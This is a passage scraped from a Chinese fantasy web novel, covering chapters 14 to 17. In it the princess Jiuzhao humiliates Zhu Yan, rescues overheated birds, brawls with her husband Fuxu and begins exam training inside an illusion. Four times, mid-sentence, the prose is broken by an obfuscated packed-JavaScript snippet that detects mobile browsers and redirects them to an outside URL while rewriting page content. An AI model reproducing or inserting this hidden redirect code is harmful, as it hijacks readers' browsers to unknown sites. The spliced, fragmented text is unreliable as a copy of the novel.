九昭打量着祝晏的表情,发觉他在提及“早逝母亲”几个字时,眉眼的阴霾一闪而过。 三清天素来有“西北双绝”的美称,指的便是以容貌才情闻名遐迩的西海滢罗和北境祝晏,相比滢罗高贵的血脉和下一任西神王的身份,祝晏不过是北神王的庶子,母亲已在万年前去世。 结合神王邸内,孟楚对待祝晏的嫉恨态度,大约平日他也没少拿这件事嘲讽祝晏。习惯了在自家一亩三分地作威作福的日子,孟楚才会身处二清天的神王邸好如此无所顾忌。 九昭突然理解了祝晏替自己说话的缘由。 也由衷认为,把孟楚打出半副原形还是下手太轻了。 “你话里真正的意思,本殿听明白了。”然而同病相怜归同病相怜,九昭终究没有单纯到一见他人示好,就接受投诚将其庇护在自身羽翼之下,她索性开诚布公,“本殿从来不喜欢欠别人人情,你帮过本殿,本殿许你一个承诺,但你别想着利用本殿掺和你们北境的内部争斗。” “臣不敢有这样的意思。” 祝晏重新作揖,束在其脑后的白发顿时滑落肩头,倾泻如九天流银,“臣今日站在殿上说出实话,也不是存着让殿下欠臣人情的心思——臣的所作所为,一为世道公平,二为感同身受。” 被风牵引着,几缕调皮的发丝扬起,飘向九昭这处,仿佛无数只渴望触碰又收回的手。 九昭不叫他起来,他的手始终交叠在身前,维持着最谦卑的姿势。 一个侍妾所生的区区庶子,生来不受重视,又因着大殿作证,彻底得罪了本就看他不顺眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918058|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嫡长兄——他不担忧自身回到北境的命运,反而同情起她这位三清天最尊贵的神姬。 该夸他正直勇敢,还是该嘲笑他的头脑天真? 盯着青年头顶朴素的青玉长簪片刻,九昭抱臂向前,倏而一把掐住他的下颌。 她将祝晏那张风华绝代的面孔抬起,冷不丁问道:“你可知本殿为何不愿自己说出实情?” 没料到九昭会做如此大胆之举,祝晏愣了愣,就着身躯俯落,脖颈上抬的别扭姿态,低声回答:“臣下不可随意揣测君上心境,但由己及人,臣想大概殿下不欲伤心事再现于众人眼前。” “你倒是很会体谅本殿。” 祝晏越是表现出善解人意,九昭就越是想要将他的这层外壳击碎。 她不冷不热感慨一句,接着话锋一转,“只可惜,你猜错了,本殿根本不在意他口中所说母神因为本殿难产崩逝的臆想——当年神魔交战,母神为父神挡剑才会重伤不愈,这是三清天人尽皆知的事情,又不是本殿害死了母神,本殿为何要为一句莫须有的恶言而感到伤心? “至于兰祁,四千五百年过去,本殿早就连他长什么样子都快记不起。 “将你的兄长打个半死,纯粹是因为本殿看他不顺眼! “若非父神和北神王来得早,本殿定要取他性命—— “枉费你在神王邸一番情真意切的作证,可惜本殿就是个只凭自己喜恶行事的恶人。” 迎着祝晏变幻明灭的眸光,九昭把积压在心底的痛苦怨怼发泄了个干净。 掐着祝晏的下巴不够,她又把仙力附着在掌心,狠狠将他一把拽倒在地。 青年双膝下跪,阻挡在两人之间过于明显的身高差也不复可见。 九昭像触碰过脏东西似地嫌弃掸了掸手指,而后抬起光/裸的脚掌踩住他的肩膀。 “什么良善,什么心软。 “本殿只晓得单纯会被人骗,好说话会被人欺—— “本殿是三清天未来的主人,要这些无用的品格有什么用? “他们越是畏惧,越是战战兢兢,本殿就越高兴!” 一道仙力凝集的半透明屏障拔地而起,挡在祝晏身后。前有九昭,后无退路,他被夹缝生存,望着九昭越凑越近的面孔,那张亮烈婀娜的面孔带着放肆的笑意,占据他视野的全部: “你看,你真的很蠢。 这么容易同情别人、相信别人,希望付出帮助别人也会涌泉相报,活了几万年还没明白天底下根本没有那么多好人好事——怪不得哪怕孟楚废物成那样,你还是会被他压一头。 “现在,就让本殿教你一点,真正能够讨好本殿的方法。” 欺负下位者,践踏他的骄傲,碾碎他的期盼,总是能消弭掉一部分情绪里的不如意。 弯下的腰肢重新挺直,任何失意、悲伤和不解在九昭的身上烟消云散。 她半抬下巴,乜着视线,脚掌滑落肩头,轻轻踩住祝晏润玉般的左手,“给本殿穿鞋。” 15. 第15章 踩着人的手心,让对方侍奉穿鞋,这样的招数九昭用过很多次。 而且乐此不疲。 从上向下的姿势,最容易看清被强迫者眼睛里最真实的情绪。 这等放眼离恨天有点品阶的女婢侍官都不必伺候的工作,九昭让兰祁做过,让扶胥做过,让初来守卫她的朱映做过,也让昔日各式各样背后说坏话、当面挑衅的男男女女做过。 她观察着他们。 心机浅薄的控制不住咬牙切齿,有些城府的敛着睫毛极力忍耐。 像兰祁那等老练成为人精的,以及扶胥这等常年如同冰块的,则是没有多余表情。 但无论怎样,九昭还没有遇见过反应接近于祝晏的。 她使力碾着青年修长的指骨,口腔中吐出的每一个字都是十足的轻慢看低。 可祝晏偏生从衣袖里掏出一方绣花的白帕,手上很稳地托住她的单只脚掌,像是对待最普通的日常仙务那样,从织袜到缎鞋,小心翼翼,一丝不苟地完成。 整个过程,祝晏面容平和,既不羞恼,也不谄媚。 他的动作就跟包裹九昭脚心的手帕一般,柔和、妥帖,又留有余地。 这一下,把存着八百十种手段的九昭突然弄不会了。 “你不生气吗?” 已经穿完一只脚,剩下另一只套上织袜,就差最后一步。在祝晏操纵仙术去探丢得有些远的缎鞋当口,九昭的右脚陷在他温热掌心不自在地蜷起,忍不住盯着他的眼睛逼问。 “侍奉殿下,皆是应当,臣为何要生气?” 祝晏的目光不闪不避,凝在唇角的笑容一如初见时分。 九昭看不懂他,又觉这人来到自己面前,像极了任人搓扁揉圆的面团,没半点脾气:“世人苦苦为神成仙,有些为了站在力量的高处,有些为了心中的大道至理,你已然身处金仙位列,实力不俗——难不成拼尽全力向上爬,就是为了做这些服侍别人的活计?” “臣其实没有那么远大的理想。” 远处的缎鞋如牵线风筝般回到祝晏指间,他将九昭的脚掌曲起,暂放在膝盖上,视线专注地整理着被踩皱的鹅黄鞋面,“出谋划策也好,捧茶侍奉也罢,臣只想做主君身边有用的人。 “更何况,职位无贵贱,殿下认为,身为世子的孟楚,就一定比离恨天的仙侍高贵吗?” 那当然不是。 在她心中,三清天随便拎出来一个人品清白的散仙,都比孟楚那坨烂泥能扶得上墙。 祝晏的一番言论通往内心未曾设想的领域,也更加符合不以身份,而以喜恶结交朋友的九昭的喜好——凝着眸光略作思考,想通之后,九昭白皙小脸上的神情微微发亮。 她捉弄青年的心思也顿时淡了许多。 九昭没吭声的间隙里,祝晏将她穿好鞋袜的右脚放了下去。他发挥手帕的最后一点作用,擦拭干净两只缎鞋上莫须有的尘埃,而后弯起一双狐狸眼:“未知殿下对于臣的侍奉满不满意。” 月光般的长发。 翡翠般的眼眸。 这般盛世美颜,如此做小伏低。 注视他半仰的面孔,九昭打了个响指,撤去阻挡在他身后的屏障,心中亦后知后觉涌起一缕本能念头:或许,兰祁、扶胥构建的王夫形象皆是错误的,如祝晏这般的柔情体贴才算不错…… 呸呸呸。 自己与扶胥还未合离,先把事情想那么远做什么。 忠贞与道德变作缩小版的九昭,在脑海上蹿下跳唾弃着她。 九昭打了个激灵,从祝晏双眼化成的万顷柔波中挣脱,她有意夸奖,最终又碍于内心的浮想嘴硬道:“侍奉得确实不错,此番回去后倘若孟楚容不得你,可以来本殿的离恨天做名侍官。” 撂下这句话,九昭原地蹦跳两下将鞋袜踩实,便急匆匆地转身走了。 仿佛再多留一秒钟,有关理想型王夫的遐思又要重新复苏。 她离开后,祝晏没有立刻站起身。 他捡起被揉作一团丢在草地上的手帕,像是对待珍宝般将它重新展开,一一抚平褶皱。 接着,他将手帕放进袖口,迎着风轻轻呢喃道:“来离恨天做侍官吗…… “臣谢过神姬殿下的恩典。” …… 为了掩人耳目,九昭耗费仙力瞬移回离恨天。 令她意外的是,在常曦殿外等候她的不仅有朱映,还有一身常服的扶胥。 朱映率先走了上来,簇拥九昭朝内殿走去。 而明显有话要说的扶胥,见九昭没有同自己打招呼的意思,迟疑两秒,走在了她的另一侧。 有过合修时最窘迫不堪的经历,一时间扶胥也不知该如何直视九昭的眼睛,他的视线放空,望着几丈外的虚空之处,主动开口:“臣收到了帝座要您闭门思过三个月的旨意。” 九昭的脸皮要比他厚得多,更不提心境有过大起大伏,早将午后的合修记忆忘得七七八八。 “噢。” 她敷衍地吱了声,丝毫没有对话的兴致。 扶胥只好又道:“还有,殿下的寝殿后院,挂了个几十个鸟笼,皆是北神王送来的礼物。” 九昭顿步:“什么鸟笼?” 扶胥却抿起嘴,似乎有些不好意思回应这个问题。 还是左手边的朱映代答道:“殿下不是在神王邸中说过要给扶胥上神制作一份礼物——崇黎王不知殿下需要多少染料,因此将神王邸周围的极乐鸟捉了来,尽数赠予殿下。” 提起极乐鸟,九昭赶紧把储物戒中祝晏送来的那一对放了出来。 活蹦乱跳的小鸟栖息在银霜鸟笼内,叽喳着,将嫩黄的小嘴伸出笼隙,蹭了蹭九昭的手指。 真是自找罪受。 原先只要放飞两只就好,现在却要照看一大堆。 九昭腹诽着,耳畔响起朱映略显困惑的声音:“奇怪……殿下这两只,看起来倒是十分精神,北神王送来的那些全都趴在鸟笼中,有气无力的,臣起先还当是离开神王邸不适应。” 联想到祝晏之前的做法,九昭很快察觉出问题所在。 极乐鸟全身上下都能做染料,想要使用无需顾及它们的死活,捣碎后放到容器里保存就好。 这些生命的存在,在北神王的眼里不过是上色的工具。 既然死去也能利用,他又怎会消耗力量,去给数量众多的鸟笼一一施加控制温度的术法。 “糟了!” 九昭无视欲言又止的扶胥,将手上鸟笼抛给朱映,提起裙子就往后院飞奔。 等她穿过冗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918059|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长回旋的廊道,来到豢养鸟儿的花园,那些最为活泼好动的生灵已经奄奄一息。 九昭想也不想,释放仙术转化起五行为火,自带炽热高温的真血之力。 火本与水相冲,想要将自身的仙力压缩到极寒状态,又谈何容易。 时大时小的火焰悬浮掌心,被仙力催动着,一点一点由赤红化为霜色。 整个过程,受困于五行阻隔,九昭转化得艰难且缓慢。 等到接连将控温仙术同时施加在十来个鸟笼上,恢复笼内温度,让垂死的极乐鸟重获生机时,她不复往昔游刃有余之态,逛街额头落下力量损耗过度的涔涔冷汗。 救下一批,还剩下三十多只。 九昭呼出一口气,又要凝聚仙力,手却被一只大掌握住。 “木属性不似水火对立,要释放控温术更为容易,殿下将臣的封印揭开,臣来做就是。” 说话间,扶胥唤住学着九昭试图催化自身火系仙力的朱映,“烦请朱映仙官召集离恨天内水系的仙官侍婢,让他们催动仙力制成寒露,喂笼内过热的极乐鸟服下,情况应该会好转些。” 事情急迫,九昭也顾不得问罪扶胥的越俎代庖。 她一个眼色过去,朱映的身影会意消散在游廊之下。 她又反手扯住扶胥的衣襟,迫使他俯落颈项,揭掉他额头中央现形的黄符。 感受着力量涌动,扶胥双手缔诀,远比九昭的手法更加灵活磅礴的控温术显露霜花结印。 霜花缓慢旋转放大,而后一生二,二生四,四生八……变作无数箭矢般的分影射向鸟笼。 九昭的眼珠随着术法运行的轨迹移动着,目不转睛看完这一行云流水的过程。 她勉力降低火系仙力的温度,几乎耗费了大半力量,才同时施加了十来道控温仙术。而重伤境界陨落的扶胥,轻描淡写就将剩下的几十个鸟笼尽数结印——人比人真是气死人! 又观察片刻,确定救治及时,没有一只极乐鸟死去之后,朱映去喊的人也到了。 蕴着仙灵的寒露被女婢侍官们,一滴一滴细心喂进嗷嗷待哺的鸟喙中,清脆的鸣啼声重临。 将符纸重新送回完成任务的扶胥的额心,九昭倚在廊下阳光照射不到的阴影里,旁观这些人分工的分工,救助的救助,突然发觉自己变回了局外人。 难以形容的念头在脑海流转,她又意识到恶名远扬的九昭神姬,为了几十只鸟差点耗尽仙力,传出去着实有点可笑,便摸了摸鼻尖,打算趁众人未曾注意转身离去。 放轻脚步,挽着披帛,她无声行在游廊,一阵风似地刮过。 没走几步,神识很快感应到另一人同样悄无声息地跟了上来。 起初坠在迤逦裙摆的末尾,接着像是为了试图证明存在,大步走在落后她半臂的位置。 不用回首,九昭也知晓是谁。 她不搭理扶胥,扶胥就沉默相随。 两人就这样一前一后地回到了九昭的寝殿附近。 九昭终于不耐烦了,她猛地转身:“你一直跟着本殿干什么?嘴长在身上难道不啊——” 质问的话到结尾处,转变成短促惊叫。 内心反复酝酿着说辞难得出神,扶胥来不及收回脚步,胸膛骤然撞上了九昭小巧的鼻梁。 16. 第16章 扶胥的真身是棵树,连带着胸膛也硬得好像老树皮。 这一下撞得九昭头晕眼花。 她捂着鼻梁,眼冒泪光,踉跄后退半步,偏又左脚绊住右脚,就要原地表演摔个屁股墩。 行为比理智更快,扶胥想也不想伸手揽住了她。 沉浸于尖锐疼痛里,九昭热烘烘的体温,无自觉地与青年自带草木清香的怀抱靠近。在这个本该旖旎却无半点旖旎的时刻,不知怎的,扶胥浑身上下僵硬一瞬,耳尖悄悄泛出几分红意。 这红映在扶胥冷白的肌肤上分外明显,如同绿叶丛中绽开的初春桃花。 于是,几转呼吸后,好不容易缓过劲来的九昭,将他莫名其妙的反应看在眼里,更生气了。 “你是存心的吗!” 她气得一把将他推开,揉着鼻子大声反问。 小巧的、荷瓣似的面容,与他相同的薄红,恰恰点在鼻梁正中,看起来可怜又可爱。 扶胥意识到自己的目光过于无状,迅速垂下眼帘拱手:“殿下见谅,臣不是有意的。” 跟个闷葫芦有什么好说的! 瞧着对方道歉都想不出来柔情蜜语的木头样子,九昭只觉被撞到的肌肤一跳一跳的,烦躁的热意自鼻尖燎到心底。她本就因着耗费仙力精神不济,闻言冷哼一声,绕过扶胥就想进殿休息。 见九昭又要走,扶胥这才记起自己一路跟随的目的。 情急之下,他一把握住她的手腕:“殿下,臣有话要同您说。” 九昭柳眉一竖:“扭捏一路究竟要说什么,难不成是想询问礼物之事?你可别痴心妄想!” 似乎是错觉,这句话出口,她冷不丁发觉青年眼中神光暗下去一点。 “臣当然不会如此自作多情。” 低声剖白半句,扶胥线条优美的薄唇一抿,使力将九昭带进寝殿,另手关上大门,“臣想问的是,殿下有没有思考过,帝座关您三个月禁闭的真正用意。” 朱映都提前回来了。 名义上与她是一家人的扶胥,掌握神王邸内事情的来龙去脉,也属正常。 只是从未婚夫妻,到合卺神侣,两人相处千年,扶胥进入她寝殿的次数屈指可数。 九昭正有些奇怪青年的反常,耳边倏忽响起他公事公办的问题,便没有过多思考地脱口而出道,“能有什么用意?北神王的嫡子被本殿打成这样,父神自是要做做样子,给个态度。” 然而,扶胥并不满意这样的回答,凝视她的眸光没有任何变化。 九昭被他目不转睛地看着,一缕不自在攀上后颈。 她欲反唇相讥堂堂扶胥上神有什么高见,大脑却在青年两道内含深意的视线里,不由自主思忖起这回闯祸闹到神帝前所得的惩罚,和从前有哪些区别。 这么多年最严重的一次,是她和前来做客的东神王妃之侄起了争执,一怒之下将其推进了位于二清天边缘浮岛,设有上古禁制的石洞里,害得他被关了五天五夜差点虚弱而死。 事情被揭发时,神帝也不过让她当面道歉,另外再罚抄写三清天规两百遍。 她仙生中仅有的两次长久闭门不出,都是自觉丢脸,无法见人,而非来自谁的惩罚。 那九尾孟楚犯错在前,她打便打了,哪及过去的事情危急。 所以父神下令关禁闭—— 九昭不断变化的表情,叫扶胥看出她的内心交战。 他索性点破:“殿下说潜伏在神王邸是为了捕捉极乐鸟制作礼物,这样的谎言骗得了北神王,却瞒不过了解您的帝座。想来是帝座误以为您要参加仙考,特地去偷偷收集对手的信息。 “帝座一向对您颇为纵容,只是仙阶的晋升颁诏容不得马虎。这次禁闭名义上是给北境一个交代,其实静下心来细究,说不定是帝座想要告诫您参加仙考需堂堂正正,不得违反天令。” 九昭越听眉毛皱得越紧。 为臣者不可随意揣度君上的规矩,祝晏都知道,没道理身为上神的扶胥会明知故犯。 除非是有谁想要借他之口说给自己听。 她同扶胥大眼瞪小眼片刻,不确定地问道:“是父神让你跟本殿提起的?” 扶胥不点头也不摇头。 有时真相不必非要求得一个肯定,单看对方行为举止就能找到答案。 父神找扶胥,要给她留有面子,未必会说得这么直白。 只是意思就是这么个意思。 九昭泄气地耷拉肩膀,坐倒在寝床上:“这是哪来的乌龙,本殿何时说过要参加仙考——” “误会已然酿成,帝座密音传话时颇为欣慰。 “下令关禁闭多半是为了便于殿下好好准备,难道殿下要叫帝座失望?” 扶胥三言两语,勾勒出一个满含期望的慈爱老父亲形象。 若说九昭当世的软肋还有什么,那父女亲情便是其中最要紧的部分。 过往神帝不提让她上进,她也就自欺欺人地躺平当条咸鱼。 如今得到托付,从不知委婉为何物的扶胥,干脆把神帝望女成凤的期盼摊到明面上。 九昭咬着嘴唇,心中明了这次仙考注定失败,更难在脸面和亲情中做出取舍。 奈何扶胥既然奉命来做说客,就不会仅是点到为止。 “其实殿下有没有想过,颜面是要靠自己有本事才能赢得的,而非躲在常曦殿装作什么都没听到,便是从未丢脸过。”好家伙,这回当真是实打实的嘲讽了。 九昭被他戳在逆鳞上,几乎立时就要炸毛:“你今天怎么这么多话?!” 扶胥侧身躲开她踢过来的一脚,径自淡定道,“已经几千年过去,殿下每每听到他人提起往事都会表现出无比在意,这就给了心怀恶意之人一个信号,只要抓住不放,殿下就会反复跳脚。 “所以害得殿下颜面有失的并非旁人,正是殿下自己。 “您不肯放过自身,旁人更要加倍攻讦您。” 九昭连踹几脚碰不着扶胥的衣角,从床上弹跳起射,就要扑过去捶他:“你清高,你了不起,你光风霁月!还不是你成婚不到一个月就跑到神魔边界,害得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918060|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本殿的颜面一丢再丢!” 按捺多日,彼此忍了又忍,扶胥的话成为压死骆驼的最后一根稻草。 九昭一边大骂他,一边如同过去言语不和无法相互说服时那样,追着他打起架来。 两人一红一黑,一攻一守。 为表公平,如同芸生世的肉体凡胎那般,比划起拳脚功夫。 在九昭猛烈的进攻中,仙力尽失的青年步法沉稳依旧,毫无半点凌乱:“是,兰祁是害殿下丢脸之人,臣亦是害殿下丢脸之人,臣还安稳地做着您的王夫,兰祁还在焚业海当着他的业尊,唯有您,只能仰仗神姬的身份,帝座的威势狐假虎威地过日子,却不能真正伤到我们分毫。” “扶、胥!!!” “您不想努力修行,是怕吃苦吗?还是畏惧捱不过天道拷问,终致丢失性命?” 故意留出破绽,给予九昭能够击中自己的希望。 又在她欣喜出拳之际,以刁钻的姿势扭身避过。 看透对方单一攻击套路的扶胥,平淡语气流露出一丝鲜明嘲讽,“看来,颜面也并不如您所说的那般重要,比起让他人心服口服闭嘴,还是自欺欺人地活着更要紧。 “噢,还忘了告诉您一件事。 “孟楚世子被您打成那样,也没有退出仙考回到北境养伤,依旧在命医仙们加紧治疗。 “神王邸内事件发生的真相,放眼整个三清天,有几人能够了解得一清二楚,或者是,又有几人真正想要了解清楚。他们只会说,看吧,不学无术的九昭神姬又在作威作福—— “而身为罪魁祸首的世子孟楚,却能够凭借坚持参加仙考,收获身残志坚的良好风评—— “殿下,您真的能够咽下这口气吗?” 认识几万年,哪怕在新婚夜晚,九昭都不曾听到过扶胥说出这么长一串话。 今时今日,他难得不再惜字如金,目的竟是为了嘲讽她—— 嘲讽她这个与他合卺结契的妻子! 扶胥使出的激将法固然粗陋,但九昭不得不承认,它十分管用。 什么他人目光,什么性命安危,都在汹涌上行的凤凰血气里焚烧殆尽。 九昭尖啸一声,巨大的、半透明的、熊熊燃烧着的赤红双羽在她背后交错现影。 察觉到她不顾规则,似是要用仙力来对没有招架之力的自己下手,扶胥顿时修眉拧紧。 “殿下,臣——” “你以为本殿要用仙术来对付你吗?” 九昭眼瞳明灭如火,指尖浮着一小簇仙光缓步朝他走来。 饶是扶胥,也无法判断被激怒时,九昭会做出怎样不可挽回的行为。 他面沉似海,不由自主后撤摸向殿门,试图引起殿外仙侍们的注意。 九昭却突然将仙光盛放至最亮,借着迷花扶胥双眼的间隙,反手狠狠揍上他的俊脸。 没有仙灵加持,天生大力的她仍然一拳把扶胥揍得唇角开裂。 望着对方狼狈中招的窘样,她终于咧开嘴,皮笑肉不笑:“兵不厌诈嘛,扶胥上神。” 17. 第17章 血丝从扶胥的唇角淌下,为他英挺淡漠的面孔平添几分艳色。 见巧用心计终于揍到了这个可恶的家伙,九昭胸口奔涌的怒火倏忽消散不少。 过完手瘾,她等着看被打痛的扶胥恼羞成怒破防,自己也好趁机过过嘴瘾。 可扶胥依旧很平静。 在他身上最为激烈的反应,也不过是因为内伤未愈,一番打斗过后气息有些不稳。 嵌在修长颈项间的喉结轻巧一滚,仿佛感觉不到屈辱,也体会不到痛楚。 扶胥抬手,摸了摸肿起的唇角,在九昭拳头又要无声捏紧的须臾里,对她露出一抹极其浅淡的笑意:“殿下,恭喜您通过考核,在接下来的三个月内,臣会担任您的教习老师。” “?” 将手背在身后,准备见势再偷袭他两下的九昭,额头顿时浮现一个透明问号。 扶胥无视她猛地滞住的表情,继续把话说了下去,“参加仙考的各路金仙们齐聚二清天,一面适应考试场地,一面也在神王邸内不断加紧练习,殿下起步已经被别人晚了许多,接下来的日子里,您更要加倍努力,追赶进度,不辜负帝座的期待才可以……” 他巴拉巴拉说了一大堆。 但“加倍努力”之后的话,九昭半个字也没听进去。 她满肚子疑惑化作轻蔑,生等扶胥说完,盯着他阴森磨牙:“谁说本殿要做你的学生了?” 扶胥反问:“莫非殿下不想叫帝座高兴,不想堂堂正正打孟楚世子的脸?” 九昭指着他的鼻子:“就算本殿要参加考试,也不必选择你一个半残废做老师。” 扶胥给出理由:“迄今为止,臣担任了五届仙试主考官,想来不会有人比臣更具经验。” 九昭选择接着刺激他:“那又怎样?你个半残废,连恢复伤势都需本殿助你——” 她着急在言语上找回场子,话里话外“半残废”三个字不离口。 扶胥却罕见地夸奖起她来:“殿下的天赋本就出众,相较其他考生,缺乏的不过是实战经验。对于如何增长经验,臣自有一套方式方法,殿下只消愿意配合就好。” 他都说了“相较其他考生”,在参加人选不明朗的情况下,九昭不免又拿自身和滢罗比较。 比来比去,她记起是有那么件微小的往事—— 在兰祁悔婚,自己郁郁寡欢的三千年里,滢罗曾易容改名,投身军中,参加了几次小规模的仙魔交战,也不知当时是不是效力在扶胥的麾下,才会成就两人的一段不解之缘。 九昭情不自禁闷闷发问:“……倘若本殿参加仙考,你也认定滢罗会胜出吗?” 扶胥微怔。 望着她明亮却暗流涌动的眼睛,他过了片刻才道:“魁首被谁摘得,皆是未知数——但不可否认的是,就算将三清天所有金仙放在一块,滢罗宗姬也是其中不可多得的天赋努力兼顾者。” “罢了罢了,也难指望你吐出象牙。” 九昭撇着嘴摆了摆手。 明知晓公正如扶胥,断不会顺着她的心意胳膊肘往里拐。 但真从他口中听见夸奖滢罗之语,她还是不可避免地感到有些失望。 失望过后,已决定不辜负神帝期望参加仙考的她,骨血里又燃烧起一股强烈的不甘心。 难道扶胥说了如此,就是如此吗? 既然已经预料到失败的结局,为什么不干脆豁出去一把,心无旁骛竭尽全力? 要么不做。 要么就做到没有遗憾。 ……如此才是她一路横冲直撞至今的人生! 这样想着,九昭脑海里缩小版的自己开始边蹦边跳,摇旗助威。 打定主意就是干。 她松开拳头,捡起打架过程里滑落在地的披帛,就着抬头挺胸的姿势交抱双臂,斜斜睨着扶胥,脸上呈现出熟悉的傲慢:“好啊,既然胜负是未知数,那本殿就选你做本殿的老师—— “要是教得本殿在仙考中打不过你的旧情人,得不了魁首,本殿就治你一个敷衍之罪!” …… 自神仙之间出现阶位划分起,三等仙阶考试的内容就再也没有变过。 其他两等暂且不论,从金仙升至天仙的考试,一共划为两个部分。 第一部分验心,需置身幻境,在规定时限内找到弱点将其击破,恢复清明,才算通过。 第二部分争身,考试地点设置在二清天贯通天地的扶桑神木上,不论手段,不问生死,最先登上树顶平台,接受过神器辉天镜之光映照的考生,便为优胜者,晋升天仙品阶。 九昭本以为扶胥会着重讲一讲第二部分的注意事项。 不料—— “这是摄念花,焚业海特有的珍稀魔植。” 扶胥将一个简陋的陶瓷花盆放在长案上,指着种在其中,看起来不知道是灌木还是杂草的植物,为九昭介绍道,“它会散发出一种惑人心神的香气,曾经两军交战,兰祁以此作为助力,我方仙兵不慎中招者无数,就连臣也短暂地被其拉入过心魔幻境之中,差点被魔将所伤。” 何谓心魔幻境,便是人心中最在意的事物组成的高阶幻象阵法。区别于普通只能惑人心智的幻术,不论神魔,但凡陷入其中过久,都有可能会损伤乃至彻底迷失神魂。 九昭眯着眼睛看了半天,才瞧见掩映在翠绿草植中的,点点不起眼花朵。它们的颜色是一种近似于绿的黄色,形状又十分小巧玲珑,怎么看都不像是具备扶胥口中的严重危险性。 “连上神都能拉进去的环境,当真如此厉害?所以你当时在那里面看见了什么?” 她想要凑过去闻闻,却被扶胥一把拉住在身边摁下。 “都说了香气惑人,怎的如此不听话。” 肩膀挨着肩膀,青年严肃的话音咫尺传来。 如此近的距离,彼此的体温都能充分感知,九昭下意识又要扭头看他。 扶胥却率先反应过来,轻轻咳嗽一声,将相叠的手掌放开。 他并不回答九昭的问题,游移的目光定在花丛上方:“这花虽是有害的魔植,但运用得当能够加强对于幻术一类的抵抗力,自打臣将其带回三清天后,帝座便下令可以用在日常的修行中。 “我们先不着急开始‘争身’部分的练习,什么时候在规定期限内,殿下能够自主从幻境中挣脱,什么时候这部分的课业才算结束。” “……” 不争身,先验心。 也罢。 没有一上来就加难度,仅是坐在那里抵抗幻觉,不至于多累,也还算合理。 懒散千年的九昭,很快说服自己接受扶胥的教学内容。 即将进入摄念花的香气范围,她仍有些疑神疑鬼:“你也说这花诡异,连带身为上神的你也差点迷失其中难以清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918061|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒……按照你如今的情况,真能保证本殿的人身安全?” 扶胥瞥她一眼:“一炷香的时间,倘若殿下无法恢复神志,臣把这盆花抱出去就行。” 好吧,焚业海的魔物魔植向来凶险。 摆脱摄念花的方法如此简单,难怪神帝愿意将其在三清天中推行开来。 花香潜入鼻腔的刹那,九昭闭上眼睛,在原地盘腿坐下。 …… 夕阳余晖穿过半露天的游廊,如扑蝶的童子般缓缓潜进前庭。 随着教学仙官一声下课的宣告响起,少男少女们窸窸窣窣收拾起学案上的书卷。 九昭打了个瞌睡,用手揉着魂游天外的困眼。 她的身畔,是仍在伏案进行着笔记整理的西海滢罗。 “诶,滢罗,刚才那堂课的重点你都记下了吗,能不能借我看看?” 神帝有令,长烨学宫内,唯有师长和学子,其他身份一概不提。 九昭和滢罗同学同行五千年,关系如胶似漆,自然也不愿意以高高在上的女君身份自居。 听见她的话,滢罗抬起专注面孔,冲她弯起眼睛,柔柔一抹温和笑意:“好啊,等我整理完笔记就给你看,今晚回去,可要仔细把我标注的内容记住,免得明日上课,夫子又要罚你。” 九昭不好意思地吐了吐舌尖:“好好好,我晓得,你最好了。” 密友间的私语没说两句,坐在最后的另几位西海女仙走了上来。 为首者是滢罗的二妹潮华,她与九昭性格相近,而太相似的人注定水火不容。 “长姐,怎么还不走呀,我肚子都饿了——” 她坐在滢罗身边,拖长语调,拉着她的袖子撒娇。 滢罗道:“笔记还差一点,等我写完拿给九昭就好。” 闻言,潮华乜了九昭一眼,指桑骂槐道:“长姐,你这样做可不行,某人自己不学无术,问答考试全都要靠你,万一被夫子发现,她凭借身份说不定逃过一劫,可苦了长姐你——” 九昭最忍不得潮华挑拨,当下眉一挑就要跟她争辩。 滢罗却隔着衣袖握住她的手,安抚性质地揉捏着指节,嘴上告诫潮华:“二妹,不得胡言乱语。夫子说过,课业虽重要,同窗之间互帮互助也很要紧。” 长姐发话,潮华纵使愤懑亦无可奈何。 她气鼓鼓哼了声,眼热地瞧着取得胜利的九昭黏黏糊糊凑了过来,下巴抵上自家长姐肩头。 